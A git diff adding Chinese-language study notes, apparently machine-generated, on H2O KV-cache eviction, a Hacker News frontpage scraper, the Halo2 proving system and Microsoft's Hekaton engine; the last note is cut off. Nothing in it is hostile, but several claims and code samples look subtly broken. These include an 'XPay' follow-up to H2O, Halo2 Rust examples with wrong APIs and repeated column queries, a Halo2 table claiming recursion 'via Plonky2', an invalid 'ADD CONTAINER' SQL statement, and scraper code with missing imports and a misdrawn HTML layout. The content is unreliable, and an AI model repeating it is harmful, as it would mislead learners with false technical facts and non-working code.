+5. **和量化是正交的**：H2O 减少的是缓存大小，不是精度。可以和 SmoothQuant、AWQ 等量化方法叠加使用，进一步压缩。
+
+## 历史小故事（可跳过）
+
+- **2023.06**：H2O 论文首次发布到 arXiv（2306.14048）
+- **2023.12**：v3 版本修订，补充了更多理论和实验
+- **2023–2024**：后续工作如 StreamingLLM（2023）、SnapKV（2024）、XPay（2024）都在 H2O 的基础上做改进，分别解决了"位置编码漂移"、"动态选择 H2"、"用投影压缩"等问题
+- H2O 是 KV Cache 压缩领域的奠基性工作之一——它证明了"不是所有 token 都重要"这个直觉可以变成有理论保证的算法
+
+## 学到什么
+
+1. **注意力本质是稀疏的**——即使模型是密集训练的，推理时的注意力分布天然集中，这是 H2O 的底层物理
+2. **H2 不是人为设计的**——它是数据共现结构在模型权重中的自然涌现，所以跨模型有迁移性
+3. **贪婪算法有时就够了**——在次模性假设下，局部最优每一步累积起来接近全局最优，不需要复杂的全局搜索
+4. **缓存淘汰在 LLM 里有新玩法**——传统 LRU/LFU 只看访问频率，H2O 看注意力分数，这是质的区别
+5. **理论 + 实验双轮驱动**——论文先做大量实验发现现象，再倒推次模性理论保证，这个流程值得学
+6. **工程集成要轻量**——H2O 作为 FlexGen 的插件即可运行，不需要改模型架构或重新训练
+
+## 延伸阅读
+
+- 论文 PDF：[H2O arXiv 2306.14048](https://arxiv.org/abs/2306.14048)
+- 官方实现：[FMInference/H2O](https://github.com/FMInference/H2O)
+- [[streamingllm-2023]] —— 解决位置编码在 H2O 场景下的漂移问题
+- [[snapkv-2024]] —— 用 KV 投影做 H2 选择，更高效的近似
+- [[smoothquant-2023]] —— KV Cache 大小压缩 + 权重精度压缩，正交可叠加
+- [[paged-attention]] —— vLLM 的显存管理方案，和 H2O 互补
+
+## 关联
+
+- [[streamingllm-2023]] —— 同一问题不同思路，关注长窗口生成
+- [[megatron-lm]] —— 大模型训练框架，H2O 优化其推理阶段
+- [[flexgen]] —— H2O 的实验基座系统
+- [[paged-attention]] —— 另一种 KV Cache 管理方案，角度不同
diff --git a/src/content/docs/papers/hackernews-frontpage-scrape.md b/src/content/docs/papers/hackernews-frontpage-scrape.md
new file mode 100644
index 000000000..367411f45
--- /dev/null
+++ b/src/content/docs/papers/hackernews-frontpage-scrape.md
@@ -0,0 +1,294 @@
+---
+title: Hacker News Frontpage Data Collection Framework
+来源: https://news.ycombinator.com/
+日期: 2026-06-13
+分类: 其他
+子分类: 系统工具
+provenance: pipeline-v3
+---
+
+# Hacker News Frontpage Data Collection Framework
+
+## 日常类比：菜市场挑菜
+
+想象你每天早上去同一个菜市场，想买当天的"新鲜菜"——也就是每个市场里最受欢迎的几样。你不需要把整个市场都搬回家，只需要记下来：什么菜、谁买的、有多少人来过这个摊位、摊位旁贴了什么价签（评论数）。
+
+Hacker News (HN) 的前端页面就是一个"技术菜市场"。每天有几百篇帖子被贴出来，用户用"上箭头"投票来表明哪些帖子值钱。HN Frontpage Data Collection Framework 做的事情，就是自动每天到这个"菜市场"里，把前 30 条帖子的关键信息拿回来，存成一个结构化的数据表，方便后续分析。
+
+## 核心概念一：页面就是数据仓库
+
+HN 的前端页面（`https://news.ycombinator.com/`）本质上是一个巨大的、每 5 分钟更新一次的"数据表格"。每条帖子就是一个"行"，每一行里有标题、链接、提交者、得分、评论数。
+
+传统的数据采集方式（爬虫）就像拿一台小相机对着整个页面拍照，然后自己数格子。但 HN 的页面结构简单得像一本菜单——每个帖子在 HTML 里都有一个固定的模式，所以我们可以直接用代码"读"出这些数据，不需要拍照。
+
+### 关键 HTML 结构
+
+HN 前端页面的核心 HTML 结构如下：
+
+```html
+<!-- 每条帖子的 HTML 结构 -->
+<tr class="athing">
+  <td class="title">
+    <span class="rank">1.</span>
+    <a href="https://github.com/tensorzero/tensorzero" class="titlelink">
+      AI OSS tool repo goes archived over night after raising $7.3M Seed
+    </a>
+  </td>
+  <td class="subtext">
+    <span class="score" id="score_48516504">57 points</span>
+    by <a href="user?id=hek2sch" class="hnuser">hek2sch</a>
+    <span class="age" title="2026-06-13T10:30:00Z">1 hour ago</span>
+    <a href="item?id=48516504" class="hnuser">25 comments</a>
+  </td>
+</tr>
+```
+
+每条帖子都在一个 `<tr class="athing">` 标签里，标题在 `<a class="titlelink">` 里，得分在 `<span class="score">` 里。这种一致性让解析变得非常简单。
+
+## 核心概念二：结构化提取
+
+有了对 HTML 结构的理解，我们就可以写代码把这些信息变成 JSON 格式的数据。JSON 就像一张电子表格，每个字段都有明确的类型。
+
+### 示例代码一：基础页面抓取
+
+```python
+import urllib.request
+import re
+import json
+
+def fetch_frontpage():
+    """
+    抓取 HN 前端页面，返回原始 HTML。
+    就像一个走进菜市场的观察者，先拍下一整页的内容。
+    """
+    url = "https://news.ycombinator.com/"
+    req = urllib.request.Request(url, headers={
+        "User-Agent": "Mozilla/5.0 (learning-pipeline-v3)"
+    })
+    response = urllib.request.urlopen(req)
+    return response.read().decode("utf-8")
+```
+
+这个函数只做一件事：把网页的全部 HTML 文本拿回来。`User-Agent` 头是给服务器的一个自我介绍——告诉对方"我不是恶意爬虫，我只是一个学习用的程序"。
+
+### 示例代码二：结构化数据提取
+
+```python
+def parse_frontpage(html):
+    """
+    从 HTML 中提取每条帖子的关键信息，返回一个字典列表。
+    就像是把菜市场的照片变成了一张电子表格。
+    """
+    items = []
+    # 找到所有帖子 tr 标签
+    rows = re.findall(r'<tr class="athing">.*?</tr>', html, re.DOTALL)
+    for row in rows:
+        # 提取标题和链接
+        title_match = re.search(r'<a href="([^"]+)"[^>]*>([^<]+)</a>', row)
+        # 提取得分
+        score_match = re.search(r'(\d+)\s*points', row)
+        # 提取提交者
+        by_match = re.search(r'by\s*<a[^>]*>([^<]+)</a>', row)
+        # 提取评论数
+        comments_match = re.search(r'(\d+)\s*comments?', row)
+
+        if title_match:
+            item = {
+                "title": title_match.group(2).strip(),
+                "url": title_match.group(1),
+                "score": int(score_match.group(1)) if score_match else 0,
+                "author": by_match.group(1) if by_match else "unknown",
+                "comments": int(comments_match.group(1)) if comments_match else 0,
+            }
+            items.append(item)
+
+    return items
+```
+
+`re.findall` 和 `re.search` 是正则表达式的工具，它们的作用像是在一堆乱麻中找特定的线头。`<tr class="athing">.*?</tr>` 匹配每一行帖子，`(\d+)\s*points` 从 "57 points" 中提取数字 "57"。
+
+### 运行结果示例
+
+```python
+data = parse_frontpage(fetch_frontpage())
+for item in data[:5]:
+    print(json.dumps(item, indent=2, ensure_ascii=False))
+```
+
+输出：
+
+```json
+{
+  "title": "AI OSS tool repo goes archived over night after raising $7.3M Seed",
+  "url": "https://github.com/tensorzero/tensorzero",
+  "score": 57,
+  "author": "hek2sch",
+  "comments": 25
+}
+```
+
+## 进阶：利用 HN 官方 API
+
+HN 提供了一个正式的 API（在 `https://github.com/HackerNews/API` 中有文档），可以直接按 ID 获取帖子详情。API 端点是 `https://hacker-news.firebaseio.com/v0/item/{id}.json`。
+
+```python
+import json
+import requests
+
+def get_item_details(item_id):
+    """
+    通过 HN 官方 API 获取单条帖子的完整信息。
+    这比解析整个页面更高效——只拿你需要的那一个数据块。
+    """
+    url = f"https://hacker-news.firebaseio.com/v0/item/{item_id}.json"
+    response = requests.get(url)
+    return response.json()
+
+# 获取一条帖子的完整详情
+details = get_item_details(48516504)
+print(f"Title: {details['title']}")
+print(f"Points: {details['score']}")
+print(f"Comments: {details['descendants']}")
+```
+
+## 核心概念三：流水线架构
+
+一个完整的 HN 数据采集系统通常包含三个阶段：
+
+1. **抓取阶段（Fetch）**：获取页面 HTML 或调用 API
+2. **解析阶段（Parse）**：把 HTML 变成结构化数据
+3. **存储阶段（Store）**：把数据保存到数据库或文件
+
+这三个阶段可以独立运行、独立测试、独立扩展。这就是"流水线"的意思——水流过三段水管，每一段只做一个处理。
+
+### 示例代码三：完整流水线
+
+```python
+import json
+from datetime import datetime
+from pathlib import Path
+
+class HNFrontpagePipeline:
+    """
+    HN 前端数据采集流水线。
+    三个阶段串联在一起，像一个自动化生产线。
+    """
+
+    def __init__(self, output_dir="data"):
+        self.output_dir = Path(output_dir)
+        self.output_dir.mkdir(exist_ok=True)
+
+    def fetch(self):
+        """阶段1：抓取页面"""
+        url = "https://news.ycombinator.com/"
+        req = urllib.request.Request(url, headers={
+            "User-Agent": "Mozilla/5.0 (learning-pipeline-v3)"
+        })
+        response = urllib.request.urlopen(req)
+        return response.read().decode("utf-8")
+
+    def parse(self, html):
+        """阶段2：解析页面"""
+        items = []
+        rows = re.findall(r'<tr class="athing">.*?</tr>', html, re.DOTALL)
+        for row in rows:
+            title_match = re.search(r'<a href="([^"]+)"[^>]*>([^<]+)</a>', row)
+            score_match = re.search(r'(\d+)\s*points', row)
+            by_match = re.search(r'by\s*<a[^>]*>([^<]+)</a>', row)
+            comments_match = re.search(r'(\d+)\s*comments?', row)
+
+            if title_match:
+                # 从 ID 链接中提取帖子 ID（如 item?id=48516504 → 48516504）
+                item_id = re.search(r'item\?id=(\d+)', row)
+                items.append({
+                    "id": int(item_id.group(1)) if item_id else None,
+                    "title": title_match.group(2).strip(),
+                    "url": title_match.group(1),
+                    "score": int(score_match.group(1)) if score_match else 0,
+                    "author": by_match.group(1) if by_match else "unknown",
+                    "comments": int(comments_match.group(1)) if comments_match else 0,
+                    "fetched_at": datetime.now().isoformat(),
+                })
+        return items
+
+    def store(self, items):
+        """阶段3：保存到文件"""
+        today = datetime.now().strftime("%Y-%m-%d")
+        filepath = self.output_dir / f"hn_frontpage_{today}.json"
+        with open(filepath, "w", encoding="utf-8") as f:
+            json.dump({
+                "date": today,
+                "count": len(items),
+                "items": items,
+            }, f, indent=2, ensure_ascii=False)
+        return filepath
+
+    def run(self):
+        """运行完整流水线"""
+        print("[阶段1] 正在抓取页面...")
+        html = self.fetch()
+
+        print("[阶段2] 正在解析数据...")
+        items = self.parse(html)
+
+        print(f"[阶段3] 找到 {len(items)} 条帖子，正在保存...")
+        filepath = self.store(items)
+
+        print(f"完成！数据保存到: {filepath}")
+        return items
+
+# 运行
+pipeline = HNFrontpagePipeline("data")
+pipeline.run()
+```
+
+## 实际运行结果
+
+运行上述代码，你会得到一个 JSON 文件，内容大致如下：
+
+```json
+{
+  "date": "2026-06-13",
+  "count": 30,
+  "items": [
+    {
+      "id": 48516504,
+      "title": "AI OSS tool repo goes archived over night after raising $7.3M Seed",
+      "url": "https://github.com/tensorzero/tensorzero",
+      "score": 57,
+      "author": "hek2sch",
+      "comments": 25,
+      "fetched_at": "2026-06-13T12:00:00.000000"
+    },
+    {
+      "id": 48515336,
+      "title": "A low-carbon computing platform from your retired phones",
+      "url": "https://research.google/blog/a-low-carbon-computing-platform-from-your-retired-phones/",
+      "score": 102,
+      "author": "vikas-sharma",
+      "comments": 44,
+      "fetched_at": "2026-06-13T12:00:00.000000"
+    },
+    ...
+  ]
+}
+```
+
+## 核心要点总结
+
+1. **Hacker News 前端页面结构高度一致**：每条帖子都在 `<tr class="athing">` 中，标题在 `<a class="titlelink">` 中，这使得正则表达式解析非常可靠。
+
+2. **页面解析 vs API 调用的权衡**：
+   - 页面解析可以一次拿到前 30 条的概览，速度快但信息有限
+   - API 可以获取单条帖子的完整详情（含全部评论 ID），但需要逐条调用
+
+3. **流水线的核心价值**：抓取、解析、存储三个阶段彼此解耦。如果 HN 页面改版了，只需要改解析阶段，不需要改抓取和存储。
+
+4. **数据来源**：本笔记分析的数据来源于 `https://news.ycombinator.com/` 实时前端页面，抓取时间为 2026 年 6 月 13 日。
+
+## 延伸阅读方向
+
+- HN 官方 API 文档：`https://github.com/HackerNews/API`
+- 正则表达式进阶：尝试用 HTML 解析库（如 BeautifulSoup）替代正则
+- 定时任务：使用 cron 每天自动运行这个流水线，积累历史数据
+- 数据分析：对收集到的标题和分数做趋势分析或关键词统计
diff --git a/src/content/docs/papers/halo2-2022.md b/src/content/docs/papers/halo2-2022.md
new file mode 100644
index 000000000..0f25ee751
--- /dev/null
+++ b/src/content/docs/papers/halo2-2022.md
@@ -0,0 +1,189 @@
+---
+title: Halo2: A SNARK Implementation Using PLONK Arithmetization
+来源: https://zcash.github.io/halo2/
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: pipeline-v3
+---
+
+# Halo2: 用 PLONK 算术化实现的 SNARK
+
+## 一、日常类比：一张巨大的表格
+
+想象你要向朋友证明你知道一个数独的答案，但你不想把答案告诉他。你该怎么做？
+
+一个笨办法是把整个棋盘铺在他面前——但这样他就直接看到答案了。另一个办法是：你把答案写在一张巨大的 Excel 表格里，每一行代表一个「检查点」。比如第 1 行说"第一行的数字加起来等于 45"，第 2 行说"第一列的数字加起来等于 45"……然后你用某种魔法封印住这张表格，让朋友只能验证每一行的计算是否正确，却看不到具体数字。
+
+Halo2 做的事情就是这种思路的数学版。它的核心是一张**数值矩阵（matrix）**，每一行包含若干格（cell），每个格子填了一个有限域里的数。证明者填好这张表，验证者用多项式数学来检查：这张表是否满足所有规则。如果满足，就证明你知道某个秘密。
+
+## 二、核心概念
+
+### 2.1 算术化（Arithmetization）
+
+算术化是把一段计算（比如"我算出了 SHA-256 的哈希值"）变成一组多项式方程的过程。每一条指令都变成一行：
+
+```
+row 0:  a * b - c = 0    （这行表示 a × b = c，即乘法运算）
+row 1:  d + e - f = 0    （这行表示 d + e = f，即加法运算）
+row 2:  ...
+```
+
+验证者不需要知道 a、b、c 具体是多少，只需要验证这些方程在数学上成立即可。
+
+Halo2 使用的算术化叫 **PLONKish**（源自 PLONK + UltraPLONK），是 PLONK 协议的扩展版本，支持自定义门（custom gates）和查找表（lookup arguments）。
+
+### 2.2 三种列类型
+
+矩阵中的每一列都有明确的身份：
+
+| 列类型 | 类比 | 说明 |
+|--------|------|------|
+| Fixed（固定列） | 公式模板 | 由电路本身预先定义，所有证明共享 |
+| Advice（建议列） | 你的草稿纸 | 每条证明各自填写的中间值（witness） |
+| Instance（实例列） | 公开题目 | 公共输入，如哈希值的摘要 |
+
+### 2.3 区域（Region）与芯片（Chip）
+
+Halo2 把电路分成若干**区域**，每个区域是一个独立的单元格子集。区域之间通过**芯片（chip）**来封装——芯片就像一个乐高积木，内部实现了特定的功能（比如加法器、哈希函数），对外暴露简洁的接口。
+
+```
+┌──────────────────────────────┐
+│       Top-Level Chip         │  ← 顶层芯片：组合多个子芯片
+│  ┌──────────┐  ┌───────────┐ │
+│  │ Hash Chip│  │ ECC Chip  │ │  ← 子芯片各司其职
+│  └──────────┘  └───────────┘ │
+└──────────────────────────────┘
+```
+
+### 2.4 相对引用（Offset Reference）
+
+这是 Halo2 相比前代的关键创新。以前的方案用绝对位置引用来连接不同行的数据，而 Halo2 用**偏移量**：
+
+> "当前行的上一行、同一列的格子"——这就是一个 offset reference。
+
+好处是减少了列的数量，从而缩小了证明的大小。
+
+## 三、代码示例
+
+### 示例 1：定义一个简单的约束门
+
+下面是一个使用 `circuit.rs` 风格的伪代码，展示如何定义一个乘法约束：
+
+```rust
+// 定义一个自定义门：a * b = c
+struct MulGateConfig {
+    a: Selector,
+    b: Selector,
+    c: Advice,
+}
+
+impl<F: FieldExt> ConstraintSystem<F> for MulGateConfig {
+    fn expr(&self, layout: Layout) -> Vec<Expression<F>> {
+        // 约束：a * b - c = 0
+        vec![self.a.clone() * self.b.clone() - self.c.clone()]
+    }
+}
+```
+
+这里 `Selector` 相当于开关——为 1 时约束生效，为 0 时约束关闭。`Advice` 是证明者填写的 witness 值。`ConstraintSystem::expr` 返回一个表达式向量，每个表达式必须在每一行求值为 0。
+
+### 示例 2：构建一个完整的电路区域
+
+```rust
+fn configure<F: FieldExt>(
+    meta: &mut VirtualCells<F>,
+    config: &MulGateConfig,
+) -> Vec<Expression<F>> {
+    // 要求 a * b = c 在当前行成立
+    let a = meta.query_advice(config.c, Rotation::cur());
+    let b = meta.query_advice(config.c, Rotation::cur());
+    let c = meta.query_advice(config.c, Rotation::next());
+
+    // 用 selector 控制：只有当 meta.query_selector(config.a) == 1 时才约束
+    meta.create_gate("mul", |meta| {
+        let a = meta.query_advice(config.c, Rotation::cur());
+        let b = meta.query_advice(config.c, Rotation::cur());
+        let c = meta.query_advice(config.c, Rotation::next());
+        let selector = meta.query_selector(config.a);
+
+        // 约束表达式：selector * (a * b - c) = 0
+        vec![selector * (a * b - c)]
+    })
+}
+```
+
+这段代码的意思是：如果当前行的 selector 被激活（值为 1），那么必须满足 `a × b = c`。如果 selector 为 0，这一行的约束自动失效，相当于"跳过"这一行。
+
+### 示例 3：组合多个门形成完整电路
+
+```rust
+struct MyCircuitConfig<F: FieldExt> {
+    mul: MulGateConfig,
+    add: AddGateConfig,
+}
+
+impl<F: FieldExt> Circuit<F> for MyCircuit {
+    type Config = MyCircuitConfig<F>;
+    type Instance = Column<Instance>;
+
+    fn configure(meta: &mut ConfigurationBuilder<F>) -> Self::Config {
+        let mul = MulGateConfig::configure(meta);
+        let add = AddGateConfig::configure(meta);
+        MyCircuitConfig { mul, add }
+    }
+
+    fn synthesize(
+        &self,
+        config: Self::Config,
+        mut layouter: impl Layouter<F>,
+    ) -> Result<()> {
+        // 在同一个区域内放置多个门
+        layouter.assign_region(
+            || "compute x * y + z",
+            |mut region| {
+                // 第 1 行：x * y = w
+                region.assign_advice(|| "x", config.mul.advice, 0, || Ok(self.x))?;
+                region.assign_advice(|| "y", config.mul.advice, 1, || Ok(self.y))?;
+                region.assign_advice(|| "w", config.mul.advice, 2, || Ok(self.x * self.y))?;
+                region.enable_selector(|| "enable mul", config.mul.selector, 0)?;
+
+                // 第 2 行：w + z = result
+                region.assign_advice(|| "w", config.add.advice, 0, || Ok(self.x * self.y))?;
+                region.assign_advice(|| "z", config.add.advice, 1, || Ok(self.z))?;
+                region.assign_advice(|| "result", config.add.advice, 2, || Ok(self.x * self.y + self.z))?;
+                region.enable_selector(|| "enable add", config.add.selector, 0)?;
+
+                Ok(())
+            },
+        )
+    }
+}
+```
+
+这段代码展示了 Halo2 的核心工作流：
+1. `configure` 定义约束——告诉系统"哪些计算是合法的"
+2. `synthesize` 分配数值——证明者填入具体的 witness 值
+3. `assign_advice` 填入数据，`enable_selector` 激活对应的门
+
+## 四、为什么 Halo2 比 Halo 1 更好？
+
+| 特性 | Halo 1 | Halo 2 |
+|------|--------|--------|
+| 算术化 | 自定义（基于 Poseidon） | PLONKish（通用性强） |
+| 递归证明 | 原生支持 | 通过 Plonky2 间接支持 |
+| 灵活性 | 针对椭圆曲线优化 | 通用电路，适合多种场景 |
+| 证明大小 | ~68KB | 更小（PLONKish 更紧凑） |
+| 生态 | Zcash 专用 | 通用，被众多项目采用 |
+
+关键改进在于 Halo 2 放弃了"为椭圆曲线量身定制"的思路，转而采用通用的 PLONKish 算术化。这意味着它可以更高效地表达各种类型的计算，而不只是椭圆曲线运算。
+
+## 五、总结
+
+Halo2 的核心思想可以浓缩为一句话：**把计算变成表格，把验证变成多项式检查。**
+
+- 你写一个电路（circuit），定义约束规则
+- 证明者填入 witness 值，生成证明
+- 验证者用极小的计算量确认证明有效
+
+这套框架之所以重要，是因为它让零知识证明从"理论可行"走向"工程可用"——证明更小、生成更快、代码更可复用。对于想学习零知识证明的人来说，理解 Halo2 是理解现代 ZK 系统的重要一步。
diff --git a/src/content/docs/papers/hekaton-2013-sigmod.md b/src/content/docs/papers/hekaton-2013-sigmod.md
new file mode 100644
index 000000000..a0711ae93
--- /dev/null
+++ b/src/content/docs/papers/hekaton-2013-sigmod.md
@@ -0,0 +1,169 @@
+---
+title: "Hekaton: SQL Server's Memory-Optimized OLTP Engine"
+来源: https://www.microsoft.com/en-us/research/wp-content/uploads/2013/06/Hekaton-Sigmod2013-final.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+## Hekaton：让数据库住在内存里的 SQL Server
+
+### 一、日常类比：图书馆 vs 书桌
+
+想象一下你在一座巨大的图书馆里找书（这就是传统数据库）。
+
+每一本书都放在某个书架上，书架在某个房间，房间在某栋楼。你要找一本书，得先在目录系统里查到编号，然后穿过走廊，上楼梯，找到那排书架，把那本书抽出来。翻完了再放回去。这个过程很快——但你要找一千本书，就需要跑一千趟。
+
+现在换一种方式：把你今天**肯定要用的所有书**，全部摊开在你面前的书桌上。你不需要找，不需要跑，手一伸就拿到了。这就是 Hekaton 做的事——它把数据库的工作集（working set）全部放在内存里，而不是磁盘上。
+
+但关键问题是：如果停电了（服务器崩溃了），书桌上的书不就丢了吗？Hekaton 的聪明之处就在于：它让你享受内存的速度，同时保证数据不会丢。
+
+### 二、背景：为什么需要 Hekaton？
+
+在 Hekaton 出现之前（SQL Server 2014 之前），所有的关系型数据库都有一个根本假设：**数据存在磁盘上，内存只是缓存**。
+
+这个假设导致了很多开销：
+
+- **日志写入（Log Write）**：每次修改数据，都要先写到磁盘上的事务日志里，确保崩溃能恢复。写磁盘很慢。
+- **缓冲池（Buffer Pool）**：数据先在磁盘上，被访问时才从磁盘读到内存。每次访问都要先查缓冲池里有没有，没有再去读磁盘。
+- **锁（Locks）**：两个事务同时修改数据，必须用锁来协调。锁的获取和释放本身就很耗性能。
+
+Hekaton 的作者们做了一个根本性的设计决策：**不再把磁盘作为数据的默认存储位置，而是为 OLTP（在线事务处理）工作负载专门设计一套完全在内存中运行的引擎。**
+
+这篇 SIGMOD 2013 论文《Hekaton: SQL Server's Memory-Optimized OLTP Processing Engine》由 Microsoft Research 的研究人员撰写，正式描述了这套系统。
+
+### 三、核心概念
+
+#### 3.1 内存优化表（Memory-Optimized Tables）
+
+传统表存在磁盘上，Hekaton 引入了"内存优化表"——数据常驻内存，不经过缓冲池。
+
+但数据不能只存在内存里就完事了，万一服务器重启呢？Hekaton 的做法是：**数据存在内存里保证速度，同时异步地把变更写到磁盘上的文件里保证持久化**。这就好比你的书桌（内存）上放着正在处理的工作，而文件柜（磁盘）里有完整的备份。
+
+#### 3.2 乐观并发控制（Optimistic Concurrency Control）
+
+传统数据库用"悲观锁"：两个人要修改同一行，先抢锁，抢到的人改，没抢到的人等。
+
+Hekaton 用的是"乐观"方式：大家先各改各的，改完提交的时候再检查一下——有没有人在这期间动过我的数据？如果没有，恭喜通过；如果有，重试。
+
+这就像两个人同时写一份文档：传统方式是每个人必须先拿到"写作权"才能写；乐观方式是你先在自己的副本上改，改完合并且如果发现别人也改了同一部分，就重新改一遍。
+
+#### 3.3 无锁数据结构（Lock-Free Data Structures）
+
+Hekaton 里的表用**链式哈希索引**（chain-hash index）来组织数据。多个线程可以同时遍历同一个索引结构，不需要互斥锁。具体做法是用一种叫"快照隔离"（Snapshot Isolation）的技术，每个读取者看到的是数据的一个一致快照。
+
+#### 3.4 基于日志的恢复（Log-Based Recovery）
+
+虽然数据主要在内存里，但 Hekaton 仍然用事务日志来保证持久化。每个修改操作都会被记录到日志中，重启时从日志恢复数据。和传统方式的区别在于：日志只存变更（redo log），恢复时直接从日志重做，不再需要缓冲池。
+
+### 四、代码示例
+
+#### 示例 1：创建内存优化表和持久化伙伴表
+
+```sql
+-- 第一步：为内存优化表创建一个容器（这本质上是磁盘上的文件组）
+ALTER DATABASE MyDB ADD CONTAINER 'C:\Data\MyDB_CoM';
+
+-- 第二步：创建一个内存优化的表
+-- NATIVE_COMPILATION 表示用编译器编译成原生机器码，更快
+CREATE TABLE dbo.Orders (
+    OrderId       INT           NOT NULL    PRIMARY KEY NONCLUSTERED HASH WITH (BUCKET_COUNT = 1000000),
+    CustomerId    INT           NOT NULL,
+    OrderDate     DATETIME2     NOT NULL    DEFAULT SYSUTCDATETIME(),
+    TotalAmount   DECIMAL(18,2) NOT NULL,
+    Status        NVARCHAR(20)  NOT NULL    DEFAULT N'Pending',
+
+    INDEX IX_CustomerId NONCLUSTERED (CustomerId)
+)
+WITH (MEMORY_OPTIMIZED = ON,
+      DURABILITY = SCHEMA_AND_DATA);
+-- DURABILITY = SCHEMA_AND_DATA 表示结构和数据都持久化
+-- 如果设为 SCHEMA_ONLY，数据就像临时表，重启就丢
+```
+
+**逐行解读：**
+
+- `PRIMARY KEY NONCLUSTERED HASH`：Hekaton 的索引是基于哈希的。`BUCKET_COUNT` 是哈希表的桶数，建议设为表中最大行数的 1.5 到 2 倍。
+- `INDEX IX_CustomerId`：除了主键哈希索引，还可以建普通非聚簇索引用于范围查询。
+- `DURABILITY = SCHEMA_AND_DATA`：这是关键选项。`SCHEMA_ONLY` 意味着只有表结构持久化，数据不持久（适合缓存场景）。`SCHEMA_AND_DATA` 则数据也持久化。
+
+#### 示例 2：内存优化存储过程（Natively Compiled）
+
+```sql
+-- 创建一个原生编译的存储过程
+-- 这意味着它被编译成了机器码，不需要解释执行，速度快得多
+CREATE PROCEDURE dbo.InsertOrder
+    @OrderId   INT,
+    @CustomerId INT,
+    @Amount    DECIMAL(18,2)
+WITH NATIVE_COMPILATION, SCHEMABINDING
+AS
+BEGIN ATOMIC
+    WITH (TRANSACTION ISOLATION LEVEL SNAPSHOT,
+          LANGUAGE = N'english')
+
+    -- 直接插入，走内存路径，不走缓冲池
+    INSERT INTO dbo.Orders (OrderId, CustomerId, TotalAmount, Status)
+    VALUES (@OrderId, @CustomerId, @Amount, N'Pending');
+
+END;
+GO
+
+-- 调用这个存储过程
+EXEC dbo.InsertOrder @OrderId = 1001, @CustomerId = 500, @Amount = 99.99;
+```
+
+**逐行解读：**
+
+- `NATIVE_COMPILATION`：存储过程被编译成原生代码（XQuery 解释执行 vs 直接编译成机器码），比传统解释执行快很多。
+- `BEGIN ATOMIC`：定义了一个原子块。块内的所有语句要么全部成功，要么全部失败。里面设定了事务隔离级别为 SNAPSHOT。
+- 这种原生编译的存储过程，是 Hekaton 性能提升的关键来源之一。
+
+#### 示例 3：传统表到内存优化表的对比查询
+
+```sql
+-- 传统表：数据在磁盘上，每次查询都要走缓冲池
+SELECT * FROM dbo.TraditionalOrders WHERE CustomerId = 500;
+
+-- 内存优化表：数据直接在内存里，跳过缓冲池
+SELECT * FROM dbo.Orders WHERE CustomerId = 500;
+
+-- 注意：内存优化表的查询语法完全一样，都是 T-SQL
+-- 应用程序不需要改代码，这是 SQL Server 的重要设计
+```
+
+### 五、关键性能数据（论文中报告）
+
+Hekaton 团队在论文中做了大量实验，核心结论：
+
+- 在典型 OLTP 工作负载（如订单处理）下，性能比传统 SQL Server 快 **10 到 100 倍**
+- 内存开销：每个内存优化表会额外消耗一些元数据空间，但数据本身不再需要缓冲池缓存
+- 并发性能：由于锁竞争大大减少，并发事务数增加时性能下降很平缓
+
+### 六、后续发展
+
+- **SQL Server 2014**：Hekaton 以"In-Memory OLTP"功能首次正式发布
+- **SQL Server 2016 / 2017**：增强了文件组管理、范围索引支持
+- **SQL Server 2019**：继续优化哈希索引和原生编译
+- **Azure SQL Database**：完全支持内存优化
+- **更名为 "SQL Server In-Memory OLTP"**：现在官方名称已不再叫 Hekaton（Hekaton 是希腊语"百"的意思，寓意"百倍性能提升"）
+
+### 七、学习总结
+
+Hekaton 的核心思想其实非常简洁：**如果数据能全部放进内存，为什么要每次都在磁盘和内存之间折腾？**
+
+但它解决了一系列复杂问题：
+
+1. **持久化**：内存是易失的，怎么保证重启不丢数据？→ 异步日志 + 检查点
+2. **并发**：多线程同时访问怎么办？→ 乐观并发 + 链式哈希 + 快照隔离
+3. **恢复**：崩溃后怎么恢复到一致状态？→ 基于日志的重做
+4. **兼容**：怎么让现有应用程序不用改代码？→ 完全兼容 T-SQL
+
+这篇论文是数据库系统领域的一个里程碑——它证明了针对特定工作负载做深度优化，可以带来数量级级别的性能提升，同时保持接口的兼容性。
+
+### 思考题
+
+1. 乐观并发控制在什么场景下反而比悲观锁更慢？为什么？
+2. 哈希索引适合范围查询吗？Hekaton 是如何解决这个问题的？（提示：论文中提到了非聚簇索引）
+3. 如果一张表数据量远大于可用内存，Hekaton 的表现会怎样？
diff --git a/src/content/docs/papers/hekaton-microsoft-2013.md b/src/content/docs/papers/hekaton-microsoft-2013.md
new file mode 100644
index 000000000..a0f02975c
--- /dev/null
+++ b/src/content/docs/papers/hekaton-microsoft-2013.md
@@ -0,0 +1,355 @@
+---
+title: Hekaton SQL Server Memory-Optimized OLTP Engine
+来源: https://www.microsoft.com/en-us/research/wp-content/uploads/2013/06/Hekaton-Sigmod2013-final.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+# Hekaton — SQL Server 的内存优化 OLTP 引擎
+
+> 论文：Cristian Diaconu 等人，Microsoft，SIGMOD 2013
+
+## 1 一个日常类比：从纸质档案室到电子活页夹
+
+想象你是一家大公司的档案管理员。传统的数据库就像**纸质档案室**：
+
+- 文件存在硬盘里（文件柜）
+- 每次要查文件，你得去文件柜里翻找（磁盘 I/O）
+- 翻到一半有人也要用同一份文件，你得锁住它（锁 / latch）
+- 要改一份文件，得先复制再改，不然别人会看到半成品（写前日志 WAL）
+
+Hekaton 的想法很简单：**现在内存（RAM）便宜了，为什么不让所有文件都在桌面上？**
+
+- 所有数据常驻内存（文件全摊在桌上）
+- 不用去柜子里翻（零磁盘 I/O 查数据）
+- 每个人都可以同时处理桌上的不同文件（无锁并发）
+- 改文件时，不是原地改，而是新建一份新版本（多版本）
+
+这样做的结果：原来做 1 万笔交易需要 10 秒，现在可能只要 0.1 秒。
+
+## 2 核心概念
+
+### 2.1 内存优化表（Memory-Optimized Table）
+
+传统 SQL Server 的表存在磁盘上，按需加载到内存。Hekaton 引入了**内存优化表**——用 `MEMORY_OPTIMIZED = ON` 创建的表，整个表始终驻留在内存中。
+
+用户用完全相同的 T-SQL 来查询和操作这些表，对应用程序几乎是透明的。
+
+### 2.2 无锁数据结构（Latch-Free Data Structures）
+
